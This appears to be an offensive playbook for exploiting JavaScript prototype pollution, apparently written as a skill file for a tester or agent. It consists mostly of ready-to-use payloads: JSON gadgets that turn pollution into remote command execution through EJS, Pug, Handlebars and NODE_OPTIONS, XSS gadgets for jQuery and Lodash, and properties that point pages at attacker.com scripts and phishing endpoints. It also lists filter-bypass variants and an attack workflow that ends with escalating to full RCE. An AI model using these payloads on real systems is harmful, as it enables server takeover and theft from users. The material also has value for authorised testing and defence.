prototype-pollution-advanced

{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}

// Pollution payload:
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}
 
// When EJS renders ANY template after pollution:
// Compiled function includes: var x;process.mainModule.require('child_process').execSync('id');s = "";
// → RCE

{"__proto__": {"block": {"type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//"}}}

{"__proto__": {"self": true, "line": "x]});process.mainModule.require('child_process').execSync('id');//"}}

{"__proto__": {"type": "Program", "body": [{"type": "MustacheStatement", "path": {"type": "PathExpression", "original": "constructor.constructor('return process.mainModule.require(`child_process`).execSync(`id`)')()","parts": ["constructor","constructor"]}, "params": [], "hash": null}]}}

{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}
// Then use {{#with this as |obj|}}{{obj.constructor.constructor "return process.mainModule.require('child_process').execSync('id')"}}{{/with}}

{"__proto__": {"type": "Code", "value": "global.process.mainModule.require('child_process').execSync('id')"}}

{"__proto__": {"view options": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}}

// Pollution:
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';
 
// Trigger: any jQuery DOM manipulation that reads innerHTML from prototype
$('<div>').appendTo('body');  // may use polluted property

// Vulnerable functions (deep merge):
_.merge({}, userInput)
_.defaultsDeep({}, userInput)
_.set(obj, path, value)  // if path is attacker-controlled
 
// template() gadget:
Object.prototype.sourceURL = '\u000ajavascript:alert(1)//';
_.template('hello')();  // sourceURL injected into Function constructor

Object.prototype.src = 'https://attacker.com/evil.js';
Object.prototype.href = 'javascript:alert(1)';
Object.prototype.action = 'https://attacker.com/phish';
// Any dynamically created element may inherit these

Step 1: Inject and check
  POST /api/endpoint
  {"__proto__":{"polluted":"yes"}}
  
  Then: GET /api/anything
  Check if response contains "polluted" or behavior changes

Step 2: Error-based detection
  {"__proto__":{"toString":1}}
  → If server crashes or returns 500, toString was overwritten
  
  {"__proto__":{"valueOf":1}}
  → Same crash-based detection

Step 3: Response differential
  {"__proto__":{"status":555}}
  → Check if HTTP status code changes to 555
  
  {"__proto__":{"content-type":"text/plain"}}
  → Check if Content-Type header changes

// In browser console after interacting with the app:
Object.prototype.testPollution
// If returns a value → something polluted the prototype
 
// Automated: override defineProperty to detect writes
Object.defineProperty(Object.prototype, '__proto__', {
    set: function(v) { console.trace('PP detected!', v); }
});

// Instead of:
{"__proto__": {"polluted": "yes"}}
 
// Use:
{"constructor": {"prototype": {"polluted": "yes"}}}

?constructor[prototype][polluted]=yes
?__proto__[polluted]=yes
?__pro__proto__to__[polluted]=yes   (if filter strips __proto__ once)

{"__proto__": {"a": 1}}
{"constructor": {"prototype": {"a": 1}}}
{"__proto__\u0000": {"a": 1}}

1. Find merge sink (../prototype-pollution/SKILL.md Section 0)
   └── JSON body parsed and deep-merged into server object

2. Confirm pollution:
   └── {"__proto__":{"testxyz":"1"}} → check if testxyz appears globally

3. Identify technology stack:
   ├── Express + EJS → outputFunctionName gadget (Section 1.2)
   ├── Express + Pug → block gadget (Section 1.3)
   ├── Express + Handlebars → type/program gadget (Section 1.4)
   ├── Any Node.js with child_process → shell/NODE_OPTIONS (Section 1.1)
   ├── Client-side jQuery → DOM gadgets (Section 2.1)
   ├── Client-side Lodash → template/sourceURL (Section 2.2)
   └── Unknown → try KNOWN_GADGETS.md systematically

4. Craft RCE/XSS payload matching gadget

5. Verify with safe payload first (sleep / DNS callback)

6. Escalate to full RCE

Confirmed prototype pollution?
│
├── Server-side or client-side?
│   │
│   ├── SERVER-SIDE
│   │   ├── Template engine in use?
│   │   │   ├── EJS → __proto__.outputFunctionName (Section 1.2)
│   │   │   ├── Pug → __proto__.block (Section 1.3)
│   │   │   ├── Handlebars → __proto__.type (Section 1.4)
│   │   │   ├── Nunjucks → __proto__.type (Section 1.5)
│   │   │   └── Unknown → try each gadget from KNOWN_GADGETS.md
│   │   │
│   │   ├── child_process used anywhere?
│   │   │   ├── YES → __proto__.shell + NODE_OPTIONS (Section 1.1)
│   │   │   └── MAYBE → inject and trigger error to reveal stack
│   │   │
│   │   └── No known gadget?
│   │       ├── Try status code pollution: __proto__.status = 555
│   │       ├── Try header pollution: __proto__.content-type
│   │       └── Check KNOWN_GADGETS.md for framework match
│   │
│   └── CLIENT-SIDE
│       ├── jQuery loaded?
│       │   ├── YES → $.extend deep merge + DOM gadgets (Section 2.1)
│       │   └── Check ppmap for automated gadget detection
│       │
│       ├── Lodash loaded?
│       │   ├── YES → _.template sourceURL gadget (Section 2.2)
│       │   └── _.merge as both sink AND gadget
│       │
│       └── Framework (Angular/Vue/Ember)?
│           └── Script gadget lookup (Section 2.3)
│
├── __proto__ keyword filtered?
│   ├── Try constructor.prototype (Section 4.1)
│   ├── Try bracket notation (Section 4.2)
│   └── Try JSON key variations (Section 4.3)
│
└── Not confirmed yet?
    └── Go back to ../prototype-pollution/SKILL.md for detection

// EJS RCE
{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}
 
// Pug RCE
{"__proto__":{"block":{"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('id');//"}}}
 
// child_process RCE (Node.js)
{"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/cmdline"}}
 
// Lodash template XSS
{"__proto__":{"sourceURL":"\u000ajavascript:alert(1)//"}}
 
// Filter bypass (constructor path)
{"constructor":{"prototype":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}
 
// Safe detection probe
{"__proto__":{"pptest123":"polluted"}}